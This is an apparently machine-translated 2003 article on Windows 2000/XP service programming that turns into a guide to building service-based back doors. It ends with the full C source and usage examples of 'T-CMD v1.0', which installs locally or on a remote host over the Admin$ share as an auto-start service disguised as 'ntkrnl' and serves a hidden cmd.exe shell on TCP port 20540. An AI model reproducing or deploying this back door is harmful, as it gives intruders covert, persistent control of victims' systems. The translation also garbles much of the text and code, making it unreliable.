Analysis of Windows2000 / XP Service and Back Door Technology
Author: Too2y [Original] E-mail: Too2y@safechina.nethomepage: www.safechina.net http: //fz5fz.yeah.netdate: 01-31-2003
One> The servers under the preambular Windows follow the service control manager (SCM) interface criteria, which will automatically run when the login system is logged in, even in the case of the user login system, similar to the UNIX system Daemon. Most of them are console programs, but there are also a few GUI programs. The service procedures involved in this article are limited to the general service programs in the Windows2000 / XP system, which does not contain Windows9x. This article related service-class latte programs and code can go to our home page FZ5FZ download.
2> Windows Service Introduction Service Control Manager has a database recorded in the registry, which contains all installed service programs and device driver service programs. It allows system administrators to customize security requirements and control access for each service. Windows services include four parts: Service Control Manager, Service Control Program, Service Program, and Service Configuration Program.
1. Service Control Manager (SCM) Service Control Manager starts from the Winlogon process in the system startup, the executable file name is "admin $ / system32 / services.exe", which is an RPC server in the system, so service Configuration programs and service control programs can be remotely operated. It includes the following information: Installed Service Database: Service Control Manager has a database of installed services in the registry, which is used when the service control manager and program add, delete, configure the service program, in the registry The location of the database is: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Services. It includes a lot of sub-keys, and the name of each subkey represents a corresponding service. The database includes: service type (private process, sharing process), start type (automatic operation, start, invalid, invalid, invalid), error type (ignore, regular error, service error, key error), execution file path, dependence Information options, optional user names and passwords. Automatically start service: When the system is started, the Service Control Manager launches all "self-start" services and related dependencies. Service loading order: Sequential loading group list: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Control / ServiceGroupOrder; Specify Group List: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Control / GroupOrderList; Services dependent on each service. After the system successfully guides, a LKG (Last-Know-Good "configuration information is located in: hkey_local_machine / system / controlsetxxx / service. Start service due to requirements: Users can use the service control panel program to launch a service. The service control program can also use StartService to start the service. The service control manager will perform the following: Get account information, log in to the service item, create the service for the suspension, assign the login token to the process, allowing the process to execute. Service Record List: Each service contains the following content in the database: service name, start type, service status (type, current status, accept control code, exit code, wait prompt), dependent on the service list pointer. Services Control Manager handle: Service Control Manager supports handle type Access the following object: Install the service database, service, and database lock state. 2. Service Control Program (SCP) Service Control Program can perform the on-service, control, and status query function: Turn on service: If the type of service is Service_Demand_Start, you can start a service with a service control program. The current status of the initialization phase of the start service is: service_start_pending, and the status after the initialization is: service_running. Send a control request to the running service: The control request can be the system default, or the user is customized. The standard control code is as follows: Stop service (service_control_stop), pause service (service_control_pause), restore the pause service (service_control_continue), get updates (service_control_interrogate).
3. Server a service program may have an execution code for one or more services. We can create a service program that type service_win32_oen_process has only a service. The service program for type service_win32_share_process can contain a plurality of services executed. For details, see the Windows services and programming behind. 4. Service Configuration Program programmer and system administrators can use the service configuration program to change, query the information installed service. Of course, you can also access the relevant resources through registry functions. Service installation, deletion, and list: We can use the relevant system functions to create, delete services, and query all service's current status. Service Configuration: System Administrator Controls the launch type, display name, and related description information through the service configuration program. Three> Windows services and programming Windows service programming includes several aspects, below we will introduce service programming from the perspective of service control programs, servers, and service configuration programs.
1. Before the service control program executes the relevant function of the service control program, we need to get a handle of a service object, and there are two ways: the handle of the service control manager database for a particular host; use the OpenService or CreateService function. To get the handle of a service object. Start service: To start a service, the service control program can use StartService to implement. If the service control manager database is locked, you need to wait for a certain time and test the StartService function again. Of course, you can also use the QueryServiceLockStatus function to confirm the current status of the database. When the startup is successfully completed, the dwcurrentState parameter will return the service_running value. Service Control Request: The Service Control program uses the ControlService function to send a control request to the running service. It sends a specific control command to the control handle function, which can be the system default or user-defined. And each service will determine that you will receive a list of control commands. When using the QueryServiceStatus function, the server will receive the control commands that the service program will receive in the returned DWControlsAccepted parameter. All services will accept the service_control_interrogate command. 2. Servers can include a service or multiple service execution code, but they have a fixed three parts: service main function, service servicemain function, and service control handler function. Services Main function: Serves usually exist in terms of console, so their entry points are main functions. When the Services Control Manager starts a service, the STARTSERVICECTRLDISPATCHER function will be waited. If the service type is service_win32_oen_process, it will immediately call the execution of the StartServiceCtrldispatcher function; if the service type is service_win32_share_process, it is usually called again after initializing all services. The parameter of the StartServiceCtrldispatcher function is a service_table_entry structure that contains the name and service entry point of all services in the process. Service serviceMain function: Function ServiceMain is the entry point of the service. When the service control program requests a new service startup, the Service Control Manager launches a service and sends a start request to the control scheduler, and the post control scheduler creates a new thread to perform the servicemain function. Servicemain is required to perform the following tasks: call the RegisterServiceCtrlHandler function to register a handlerex function to send a control request information to the service, the return value is the service status handle to transmit the service status to the service control manager. After initialization, call the setServiceStatus function setting service status to service_running. Finally, it is the task to perform the service. Services Control Handler Functions: Each service has a control handle handlerex function. It is called when the service process receives a control request from the service control program to the control scheduler. When you are called at the Handlerex function, call the SetServiceStatus function to report to the Service Control Manager to the current state. When the user turns off the system, all the control handle calls the setServiceStatus function with the service_accept_shutdow control code to receive NService_Control_Shutdown control code. 3. Service Configuration Services Services Configuration Programs can change or query the current configuration information of the service.
Before calling the service configuration function, you must get a handle of a service object, of course we can get it by calling the OpenScManager, OpenService, or CreateService function. Create, Delete Service: The Service Configuration Using the CreateService function Install a new service in the database of the Service Control Manager, which provides the name of the service and related configuration information and stored in the database. The service configuration program uses the DELETESERVICE function to remove a installed service from the database. Four> Service-class back door technology After you enter a system, you will often leave one or more back door for yourself in order to visit. When uploading a latte program is restarted after the system is restarted on the remote system, it always hopes that the back door still exists. Then, put the rear door program creation of a service program should be a good idea, which is the mechanism that uses the service program automatically run, of course, it is difficult to end a service program in the WINDOWS2000 task manager. Create a back door, it often listens to a port to make it easy for us to use the TCP / UDP protocol to establish a connection with the remote host, so we first need to create a listening port in the back door program, for the stability and security of data transfer, we can Use the TCP protocol. So how can we simulate a Telnet service latter? I think everyone knows, if there is a CMD on the remote host, it is controlled, that is, we can execute a command in this cmd, then you can implement the control of the remote host, at least a variety of conventional systems can be implemented. command. There are many ways to launch a CMD program, with Winexec, Shellexecute, CreateProcess, etc., but you can only use CreateProcess, because Winexec and Shellexecute are too simple. When using CreateProcess, you want to use it to redirect the standard input / output option, redirect the input to the CMD process of the remote host, and redirect the standard output of the remote host CMD process to the local host. Standard output. This requires the use of CreatePipe in the back door program to create two pipes to implement data communication between processes (Inter-Process Communication, IPC). Of course, you must also transfer the standard input and output of the CMD on the remote host between the local host, and we select the SEND and RECV functions of the TCP protocol. After the customer ends the access, you have to call TerminaTeprocess to end the created CMD process.
Five> Key Function Analysis This article T-CMD V1.0 is a service-level back door program, and the applicable platform is Windows2000 / XP. It automatically creates a service-level back door for remote / local hosts, and supports local / remote mode without any additional commands. After restart, the program is still automatically run, listening to the port 20540 / TCP. 1. Customize the data structure and the function typef struct {handle hpipe; / / for the pipeline used to communicate between processes; socket sclient; // The client sleeve when communicating with the client;} sessiondata, * psessiondata; / / Redirect the data structure used in the CMD standard input / output;
Typedef struct processdata {handle hprocess; // Create the process handle when you get the CMD process; DWORD dWProcessID; // The process identifier obtained when creating a CMD process; struct processData * next; // points the pointer to the next data structure;} ProcessData , * PProcessData; // The data structure created by the CMD process is turned off when the client ends access or deletes the service;
Void WinAPI CmdStart (DWORD, LPTSTR *); // "Servicemain" in // Services: Register Service Control Handle, Creating Service Primary Thread; Void WinApi CmdControl (DWORD); // "Handlerex" in the service program: Processing received Control command, delete the created CMD process; DWORD WINAPI CMDService (LPVOID); // Serve the main thread, create a service listening port, create a resetting CMD standard input / output thread when accepting a customer connection; DWord WinApi cmdshell (LPVOID ); // Create a pipe with the CMD process, and the input / output thread of the CMD; DWORD WINAPI ReadShell (LPVOID); // Redirect the output of the CMD, send it to the client after reading the information; DWORD WINAPI WRITESHELL (LPVOID); / / Redirect the input of the CMD, receive the information of the client to the CMD process; Bool Connectremote (Bool, Char *, Char *, Char *); // If you select remote mode, you must establish a connection with the remote host, pay attention to management The username and password of the author, the password is empty when using "null" instead; void installcmdservice (char *); // Copy the transfer file, open the service control manager, create or open the service; void RemovecmdService (char *); // Remove the file, stop the service, uninstall the service program; 2. Server related function service_table_entry dispatchtable [] = {{"ntkrnl", cmdstart}, // service program name and entry point; {null, null} // The service_table_entry structure must end with "null";}; startServiceCtrlDispatcher (dispatchtable); // Connection Service Control Manager, start controlling the scheduler thread; servicesTATUSHANDLE = RegisterServiceCtrlHandler ("ntkrnl", c mdControl); // register CmdControl function "HandlerEx" function, and initialize; ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (ServiceStatusHandle, & ServiceStatus); // current status of the service provided SERVICE_RUNNING; hThread = CreateThread (NULL, 0, CmdService, NULL, 0, NULL; // Create a service main thread, implement the back door function; WaitForsingleObject (hmutex, infinite); // Wait for mutex, control the synchronization of global variables; TerminateProcess (LPPRocessDataHead-> HProcess, 1); / / Terminate the CMD process created; hSearch =
Findfirstfile (LPIMAGEPATH, & FILEDATA); / / Find the files of the service program in the system directory already exists; getModuleFileName (null, lpcurrentpath, max_path); // Get the program file name of the current process; CopyFile (LpCurrentPath, LPImagePath, False); / / copy files to the system directory; schSCManager = OpenSCManager (lpHostName, NULL, SC_MANAGER_ALL_ACCESS); // open the service control manager database; CreateService (schSCManager, "ntkrnl", "ntkrnl", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, "ntkrnl .EXE ", NULL, NULL, NULL, NULL, NULL); // Create service, parameters include name, service type, start type, error type, file path, etc .; SCHSERVICE = OpenService (SchscManager," NTKRNL ", service_start); // If the service has been created, open the service; startservice (SCHSERVICE, 0, NULL); // Start the service process; ControlService (SCHSERVICE, SERVICE_CONTROL_STOP, & RemoveServiceStatus); // Control Service Status; DeleteService (SCHSERVICE); // Uninstall service Program; deletefile (lpimagepath); // deletes files;
3. Rear door program related functions hmutex = createmutex (NULL, FALSE, NULL); // Create mutual exclusion; hthread = CreateThread (Null, 0, cmdshell, (lpvoid) & sclient, 0, null; // Create processing client redirect all input and output thread; CreatePipe (& hReadPipe, & hReadShell, & saPipe, 0); CreatePipe (& hWriteShell, & hWritePipe, & saPipe, 0); // create an inter-process the incoming communication I / O pipeline; CreateProcess (lpImagePath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, & LPSTARTUPINFO, & LPPROCESSINFO & dwSendThreadId); hThread [2] = CreateThread (NULL, 0, WriteShell, (LPVOID *) & sdWrite, 0, & dwReavThreadId); // create a processing thread Cmd input and output; dwResult = WaitForMultipleObjects (3, hThread, FALSE, INFINITE); // Waiting for the end of the thread or process; ReleaseMutex (hmutex); // Releases the mutex; peeknamedpipe (sdread.hpipe, szbuffer, buffer_size, & dwbufferread, null, null); // Copy data from the pipe to the buffer, but not removed from the pipeline; ReadFile (sdRead.hPipe, szBuffer, BUFFER_SIZE, & dwBufferRead, NULL); // copy data from the pipeline into the buffer; WriteFile (sdWrite.hPipe, szBuffer2Write, dwBuffer2Write, & dwBufferWritten, NULL); / / Write data received from the client to the pipe; DWE rrorCode = WNetAddConnection2 (& NetResource, lpPassword, lpUserName, CONNECT_INTERACTIVE); // establish a connection with the remote host; WNetCancelConnection2 (lpIPC, CONNECT_UPDATE_PROFILE, TRUE); // end the connection to the remote host; six> Appendix 1.SC SC is a brief introduction to the NT The service controller, the service process is a console program, which can query and modify the database of installed services. Syntax: SC
2.T-CMD v1.0 source code
#include
#define BUFFER_SIZE 1024 typedef struct {HANDLE hPipe; SOCKET sClient;} SESSIONDATA, * PSESSIONDATA; typedef struct PROCESSDATA {HANDLE hProcess; DWORD dwProcessId; struct PROCESSDATA * next;} PROCESSDATA, * PPROCESSDATA;
Hadle hmutex; pprocessdata lpprocessdatahead; servicedata lpprocessDataEnd; service_status servicetatus; service_status_handle servicetatushandle;
Void WinAPI cmdstart (dword, lptstr *); Void WinAPI CMDControl (DWORD);
DWORD WINAPI CMDService (LPVOID); DWORD WINAPI CMDshell (LPVOID); DWORD WINAPI Readshell (LPVOID); DWORD WINAPI WRITESHELL (LPVOID);
Bool Connectremote (Bool, Char *, Char *, Char *); Void InstallCmdService (char *); Void RemoveCmdService (char *);
Void Start (Void); Void Usage (Void);
INT Main (int Argc, char * argv []) {service_table_entry dispatchtable [] = {{{"ntkrnl", cmdstart}, {null, null}}
IF (Argc == 5) {IF (True, Argv [2], Argv [3], Argv [4]) == false) {RETURN-1;}
IF (! ") {InstallcmdService (argv [2]);} else if (! stricmp [1]," - remove ")) {RemoveCMDService (argv [2] }
IF (ConnectRemote (False, Argv [2], Argv [3], Argv [4]) == false) {RETURN-1;} return 0;} else if (argc == 2) {if (! Stricmp [1], "- INSTALL") {InstallcmdService (NULL);} else if (! Stricmp [1], "- remove")) {remotecmdservice (null);} else {start (); usage () } Return 0;} StartServiceCtrlDispatcher (DispatchTable); DISPATCHTABLE
Return 0;}
Void WinApi cmdstart (DWORD DWARGC, LPTSTSTSTSTSTSTSTSTSTSTD * LPARGV) {Handle Hthread;
ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0;
ServicesTATUSHANDLE = RegisterServiceCtrlHandler ("NTKRNL", CMDControl); if (ServiceStatusHandle == 0) {OutputDebugstring ("RegisterServiceCtrlHandler Error! / N"); Return;}
ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if (SetServiceStatus (ServiceStatusHandle, & ServiceStatus) == 0) {OutputDebugString ( "SetServiceStatus in CmdStart Error / n!"); Return;}
Hthread = CreateThread (NULL, 0, CMDService, NULL, 0, NULL); if (hthread == null) {OutputDebugstring ("CreateThread In Cmdstart Error! / N");} Return;}
Void WinAPI CMDControl (DWRD DWCODE) {copy service_control_pause: service / service_paused; Break;
Case service_control_continue: serviceStatus.dwcurrentState = service_running;
case SERVICE_CONTROL_STOP: WaitForSingleObject (hMutex, INFINITE); while (! lpProcessDataHead = NULL) {TerminateProcess (lpProcessDataHead-> hProcess, 1); if (! lpProcessDataHead-> next = NULL) {lpProcessDataHead = lpProcessDataHead-> next;} else {lpProcessDataHead = NULL;}}
ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if (SetServiceStatus (ServiceStatusHandle, & ServiceStatus) == 0) {OutputDebugString ( "SetServiceStatus in CmdControl in Switch Error / n!" }
ReleaseMutex (HMutex); CloseHandle (HMutex); Return;
Case service_control_interrogate: Break;
DEFAULT: BREAK;
IF (SetServiceStatus (ServiceStatusHandle, & ServiceStatus) == 0) {OutputDebugstring ("SetServiceStatus In CmdControl out switch error! / n");
Return;}
DWORD WINAPI CmdService (LPVOID lpParam) {WSADATA wsa; SOCKET sServer; SOCKET sClient; HANDLE hThread; struct sockaddr_in sin; WSAStartup (MAKEWORD (2,2), & wsa); sServer = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sServer == invalid_socket) {OutputDebugString ("socket error! / N"); return -1;} sin.sin_family = AF_INET; SIN.SIN_PORT = HTONS (20540); sin.sin_addr.s_un.s_addr = incdr_any;
IF (Bind (Sserver, Const Struct SockAddr *) & sin, SIZEOF (SIN)) == SOCKET_ERROR) {OutputDebugstring ("Bind Error! / N"); Return -1;} IF (Listen (Sserver, 5) == Socket_ERROR) {OutputDebugstring ("Listen Error! / N"); return -1;} hmutex = Createmutex (NULL, FALSE, NULL); if (hmutex == null) {OutputDebugstring ("Create Mutex Error! / N"); LPPROCESSDATAHEAD = NULL; LPPROCESSDATAEND = NULL;
while (1) {sClient = accept (sServer, NULL, NULL); hThread = CreateThread (NULL, 0, CmdShell, (LPVOID) & sClient, 0, NULL); if (hThread == NULL) {OutputDebugString ( "CreateThread of CmdShell Error! / N "); Break;} Sleep (1000);
WSACLANUP (); RETURN 0;}
DWORD WINAPI CmdShell (LPVOID lpParam) {SOCKET sClient = * (SOCKET *) lpParam; HANDLE hWritePipe, hReadPipe, hWriteShell, hReadShell; HANDLE hThread [3]; DWORD dwReavThreadId, dwSendThreadId; DWORD dwProcessId; DWORD dwResult; STARTUPINFO lpStartupInfo; SESSIONDATA sdWrite, sdRead; PROCESS_INFORMATION lpProcessInfo; SECURITY_ATTRIBUTES saPipe; PPROCESSDATA lpProcessDataLast; PPROCESSDATA lpProcessDataNow; char lpImagePath [MAX_PATH]; saPipe.nLength = sizeof (saPipe); saPipe.bInheritHandle = TRUE; saPipe.lpSecurityDescriptor = NULL; if (CreatePipe (& hReadPipe, & hReadShell, & saPipe , 0) == 0) {OutputdeBugString ("CreatePipe for Readpipe Error! / N"); Return -1;}
IF (& HWriteShell, & HWritePipe, & Sapipe, 0) == 0) {OutputDebugString ("CreatePipe for WritePipe Error! / N"); Return -1;}
GetStartupInfo (& lpStartupInfo); lpStartupInfo.cb = sizeof (lpStartupInfo); lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; lpStartupInfo.hStdInput = hWriteShell; lpStartupInfo.hStdOutput = hReadShell; lpStartupInfo.hStdError = hReadShell; lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory (lpImagePath, MAX_PATH); strcat (lpImagePath, ( "// cmd.exe")); WaitForSingleObject (hMutex, INFINITE); if (CreateProcess (lpImagePath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, & lpStartupInfo , & lpProcessInfo) == 0) {OutputDebugString ( "CreateProcess Error / n!"); return -1;} lpProcessDataNow = (PPROCESSDATA) malloc (sizeof (pROCESSDATA)); lpProcessDataNow-> hProcess = lpProcessInfo.hProcess; lpProcessDataNow-> dwProcessId = lpProcessInfo.dwProcessId; lpProcessDataNow-> next = NULL; if ((lpProcessDataHead == NULL) || (lpProcessDataEnd == NULL)) {lpProcessDataHead = lpProcessDataNow; lpProcessDataEnd = lpProcessDataNow;} else {lpProcessDataEnd-> next = lpProcessDataNow; lpProcessDataEnd = LPPROCESSDATANOW;
Hthread [0] = lpprocessinfo.hprocess; dwprocessid = lpprocessInfo.dwprocessid; CloseHandle (LPPROCESSINFO.HTHREAD); ReleaseMutex (HMutex);
CloseHandle (HWRITESHELL); CloseHandle (HREADSHELL);
sdRead.hPipe = hReadPipe; sdRead.sClient = sClient; hThread [1] = CreateThread (NULL, 0, ReadShell, (LPVOID *) & sdRead, 0, & dwSendThreadId); if (hThread [1] == NULL) {OutputDebugString ( " CreateThread of Readshell (Send) Error! / N "); Return -1;}
sdWrite.hPipe = hWritePipe; sdWrite.sClient = sClient; hThread [2] = CreateThread (NULL, 0, WriteShell, (LPVOID *) & sdWrite, 0, & dwReavThreadId); if (hThread [2] == NULL) {OutputDebugString ( " CreateThread for Writeshell (RECV) Error! / N "); Return -1;}
dwResult = WaitForMultipleObjects (3, hThread, FALSE, INFINITE); if ((dwResult> = WAIT_OBJECT_0) && (dwResult <= (WAIT_OBJECT_0 2))) {dwResult- = WAIT_OBJECT_0; if (! dwResult = 0) {TerminateProcess (hThread [0], 1);} CloseHandle (HTHREAD [(DWRESULT 1)% 3]); CloseHandle (HTHREAD [(DWRESULT 2)% 3]);} CloseHandle (HWRITEPIPE); CloseHandle (HREADPIPE);
WaitForSingleObject (hMutex, INFINITE); lpProcessDataLast = NULL; lpProcessDataNow = lpProcessDataHead; while (!! (LpProcessDataNow-> next = NULL) && (lpProcessDataNow-> dwProcessId = dwProcessId)) {lpProcessDataLast = lpProcessDataNow; lpProcessDataNow = lpProcessDataNow-> next;} if (lpProcessDataNow == lpProcessDataEnd) {if (lpProcessDataNow-> dwProcessId = dwProcessId!) {OutputDebugString ( "No Found the Process Handle / n!");} else {if (lpProcessDataNow == lpProcessDataHead) {lpProcessDataHead = NULL; lpProcessDataEnd = NULL;} else {lpProcessDataEnd = lpProcessDataLast;}}} else {if (lpProcessDataNow == lpProcessDataHead) {lpProcessDataHead = lpProcessDataNow-> next;} else {lpProcessDataLast-> next = lpProcessDataNow-> next;}} Rel Easemutex (hmutex);
Return 0;}
DWORD WINAPI ReadShell (LPVOID lpParam) {SESSIONDATA sdRead = * (PSESSIONDATA) lpParam; DWORD dwBufferRead, dwBufferNow, dwBuffer2Send; char szBuffer [BUFFER_SIZE]; char szBuffer2Send [BUFFER_SIZE 32]; char PrevChar; char szStartMessage [256] = "/ r / N / R / N / T / T --- [T-cmd v1.0 beta, by TOO2Y] --- / R / N / T / T --- [e-mail: Too2y@safechina.net] --- / R / N / T / T --- [homepage: www.safechina.net] --- / R / N / T / T --- [Date: 02-05-2003] --- / R / N / N "; char szhelpMessage [256] =" / r / nescape character is 'ctrl ]' / r / n / n "; send (sdread.sclient, szstartMessage, 256, 0); send (SDRead.sclient , SzhelpMessage, 256, 0);
while (PeekNamedPipe (sdRead.hPipe, szBuffer, BUFFER_SIZE, & dwBufferRead, NULL, NULL)) {if (dwBufferRead> 0) {ReadFile (sdRead.hPipe, szBuffer, BUFFER_SIZE, & dwBufferRead, NULL);} else {Sleep (10); CONTINUE;
for (dwBufferNow = 0, dwBuffer2Send = 0; dwBufferNow IF (SDRead.SClient, Szbuffer2send, dwbuffer2send, 0) == Socket_ERROR) {OutputDebugstring ("Send in Readshell Error! / N); Break;} Sleep (5);} Shutdown (sdread.sclient, 0x02); CloseSocket (SDREAD.SCLIENT); RETURN 0;} DWORD WINAPI WriteShell (LPVOID lpParam) {SESSIONDATA sdWrite = * (PSESSIONDATA) lpParam; DWORD dwBuffer2Write, dwBufferWritten; char szBuffer [1]; char szBuffer2Write [BUFFER_SIZE]; dwBuffer2Write = 0; while (recv (sdWrite.sClient, szBuffer, 1, 0)! = 0) {SZBuffer2write [dwbuffer2write ] = szbuffer [0]; IF (SZBuffer2Write, "EXIT / R / N", 6) == 0) {Shutdown (SDWRITE.SCLIENT, 0X02); CloseSocket (SDWRITE.SCLIENT); RETURN 0;} if (szBuffer [0] == '/ n') {if (WriteFile (sdWrite.hPipe, szBuffer2Write, dwBuffer2Write, & dwBufferWritten, NULL) == 0) {OutputDebugString ( "WriteFile in WriteShell (Recv) Error! / n") Break;} dwbuffer2write = 0;} SLEEP (10); Shutdown (SDWRITE.SCLIENT, 0X02); CloseSocket (SDWRITE.SCLIENT); RETURN 0;} Bool Connectremote (Bool Bconnect, Char * LPHOST, CHAR * LPUSERNAME, CHAR * LPPASSWORD) {Char LPIPC [256]; DWORD DWERRORCODE; NetResource NetResource Sprintf (LPIPC, "% S // IPC $", LPHOST); NetResource.lpLocalName = NULL; NetResource.lpremotename = LPIPC; NetResource.dwtype = ResourceType_Any; NetResource.lpprovider = NULL; IF (! stricmp (lppassword, "null")) {lppassword = NULL;} if (bConnect) {printf ( "Now Connecting ......"); while (1) {dwErrorCode = WNetAddConnection2 (& NetResource, lpPassword, lpUserName, CONNECT_INTERACTIVE); if ((dwErrorCode == ERROR_ALREADY_ASSIGNED) || (dwErrorCode = = ERROR_DEVICE_ALREADY_REMEMBERED)) {WNetCancelConnection2 (lpIPC, CONNECT_UPDATE_PROFILE, TRUE);} else if (dwErrorCode == NO_ERROR) {printf ( "Success / n!"); break;} else {printf ( "Failure / n!"); return False;} Sleep (10);}} else {printf ("now disconnecting ..."); dwerrorcode = WnetCancelConnection2 (LPIPC, Connect_Update_profile, true); if (dwerrorcode == no_error) {Printf ("Success! / N" Else {Printf ("failure! / N"); return false;}}}}} Return True; void InstallCmdService (char * lpHost) {SC_HANDLE schSCManager; SC_HANDLE schService; char lpCurrentPath [MAX_PATH]; char lpImagePath [MAX_PATH]; char * lpHostName; WIN32_FIND_DATA FileData; HANDLE hSearch; DWORD dwErrorCode; SERVICE_STATUS InstallServiceStatus; if (lpHost == NULL) {GetSystemDirectory (lpImagePath, MAX_PATH); strcat (lpImagePath, "// ntkrnl.exe"); lpHostName = NULL;} else {sprintf (lpImagePath, "% s // Admin $ // system32 / / NTKRNL.EXE ", LPHOSTNAME = (char *) Malloc (256); sprintf (lphostname,"% s ", lphost);} Printf (" Transmitting File ... "; hSearch = FindFirstFile (LPImagePath, & FileData); if (hSearch == INVALID_HANDLE_VALUE) {GetModuleFileName (NULL, lpCurrentPath, MAX_PATH); if (CopyFile (lpCurrentPath, lpImagePath, FALSE) == 0) {dwErrorCode = GetLastError (); if (dwErrorCode == 5) {printf ("Failure ... Access Is Denied! / N");} else {printf ("failure! / N");} return;} else {printf ("sucss! / N");}}} else {printf "Already EXISTS! / N"); FindClose (HSearch); } Schscmanager = OpenScManager (lphostname, null, sc_manager_all_access); if (SchscManager == Null) {Printf ("Open Service Control Manager Database Failure! / N"); Return;} printf ( "Creating Service ...."); schService = CreateService (schSCManager, "ntkrnl", "ntkrnl", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, "ntkrnl.exe", NULL, NULL, NULL, NULL, NULL) ; if (schService == NULL) {dwErrorCode = GetLastError (); if (dwErrorCode = ERROR_SERVICE_EXISTS!) {printf ( "Failure / n!"); CloseServiceHandle (schSCManager); return;} else {printf ( "already Exists /! n "); SCHSERVICE = OpenService (SchscManager," NTKRNL ", Service_Start); if (SCHSERVICE == NULL) {Printf (" Opening Service .... Failure! / N "); ClosESERVICEHANDE (SCHSCMANAGER); return;}} } Else {printf ("success! / N");} Printf ("Starting Service ...."); if (STARTSERVICE (SCHSERVICE, 0, NULL) == 0) {DwErrorCode = GetLastError (); if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING) {printf ( "already Running / n!"); CloseServiceHandle (schSCManager); CloseServiceHandle (schService); return;}} else {printf ( "Pending ..." } while (QueryServiceStatus (schService, & InstallServiceStatus) = 0!) {if (InstallServiceStatus.dwCurrentState == SERVICE_START_PENDING) {Sleep (100);} else {break;}} if (! InstallServiceStatus.dwCurrentState = SERVICE_RUNNING) {printf ( "Failure! / N ");} else {printf (" Success! / N ");} CloseServiceHandle; ClosESERVICEHANDE (SCHSERVICE); RETURN;} void RemoveCmdService (char * lpHost) {SC_HANDLE schSCManager; SC_HANDLE schService; char lpImagePath [MAX_PATH]; char * lpHostName; WIN32_FIND_DATA FileData; SERVICE_STATUS RemoveServiceStatus; HANDLE hSearch; DWORD dwErrorCode; if (lpHost == NULL) {GetSystemDirectory (lpImagePath, MAX_PATH); strcat (lpImagePath, "// ntkrnl.exe"); lpHostName = NULL;} else {sprintf (lpImagePath, "% s // Admin $ // system32 / /ntkrnl.exe" ,lphost); lphostname = (char *) malloc (max_path); sprintf (lphostname, "% s", lphost);} Schscmanager = OpenScManager (lphostname, null, sc_manager_all_access); if (SchscManager == null) {Printf ("Opening SCM ..."); dwerrorcode = getLastError (); if (dwerrorcode! = 5) { Printf ("failure! / n");} else {printf ("Failuer ... Access is Denied! / n");} return;} SCHSERVICE = OpenService (SchscManager, "NTKRNL", Service_all_Access); if (SCHSERVICE == NULL) {Printf ("Opening Service ..."); dwerrorcode = getLastError (); if (dwerrorcode == 1060) {Printf "no exissrs! / n");} else {Printf ("Failure! / N");} CloseServiceHandle (SchscManager);} else {printf ("Stopping Service ...."); if (QueryServiceStatus (Schservice, & RemoveServiceStatus !) = 0) {if (RemoveServiceStatus.dwCurrentState == SERVICE_STOPPED) {printf ( "already Stopped / n!");} else {printf ( "Pending ..."); if (ControlService (schService, SERVICE_CONTROL_STOP, & RemoveServiceStatus) ! = 0) {While (RemoveServiceStatus.dwcurrentState == Service_Stop_pend) {Sleep (10); QueryServic eStatus (schService, & RemoveServiceStatus);} if (RemoveServiceStatus.dwCurrentState == SERVICE_STOPPED) {printf ( "Success / n!");} else {printf ( "Failure / n!");}} else {printf ( "Failure! / N ");}}} else {printf (" query failure! / n "); Printf ("Removing Service ...."); IF (SCHSERVICE) == 0) {Printf ("failure! / n");} else {printf ("sucss! / n");}}}} Schscmanager; ClosESERVICEHANDE (SCHSERVICE); Printf ("Removing file ..."); Sleep (1500); hSearch = FindfirstFile (LPImagePath, & FileData); if (hsearch == invalid_handle_value) {Printf ("no exissrs! / n");} else {IF (deletefile (LPIMAGEPATH) == 0) {Printf ("failure! / N");} else {printf ("sucss! / N");} findclose (hsearch);} Return;} Void Start () {Printf ("/ n"); Printf ("/ T / T --- [T-CMD V1.0 Beta, By TOO2Y] --- / N"); Printf ("/ T / T --- [e-mail: Too2y@safechina.net] --- / n "); Printf (" / t / t --- [homepage: www.safechina.net] --- / n "); Printf ("/ T / T --- [DATE: 02-05-2003] --- / n / n"); Return;} Void usage () {Printf ("Attention: / N"); Printf ("Be Careful with this Software, Good Luck! / N / N"); Printf ("USAGE Show: / N"); Printf ("T- Cmd -help / n "); Printf (" T-cmd -Install [Remotehost] [Account] [Password] / N "); Printf (" T-cmd -remove [remotehost] [Account] [Password] / N / N "); Printf (" eXample: / n "); Printf (" "T-cmd -install (install in the localhost) / n"); Printf ("T-cmd -remove (transove in the localhost) / N" Printf ("T-cmd -install 192.168.0.1 TO2Y 123456 (INSTALL IN 192.168.0.1) / N"); Printf ("T-cmd-Remove 192.168.0.1 TOO2Y 123456 (REMOVE IN 192.168.0.1) / N" ); Printf ("T-cmd -install 192.168.0.2 too2y null (null instead of no password / n / n"); return;} About: FZ5FZ, we are engaged in the learning and research of network / system security, in-depth programming technology analysis and discussion, adhere to original, pursue sharing. FZ5FZ Homepage: http://fz5fz.yeah.net Copyright? 1998-2003 xfocus team. All Rights Reserved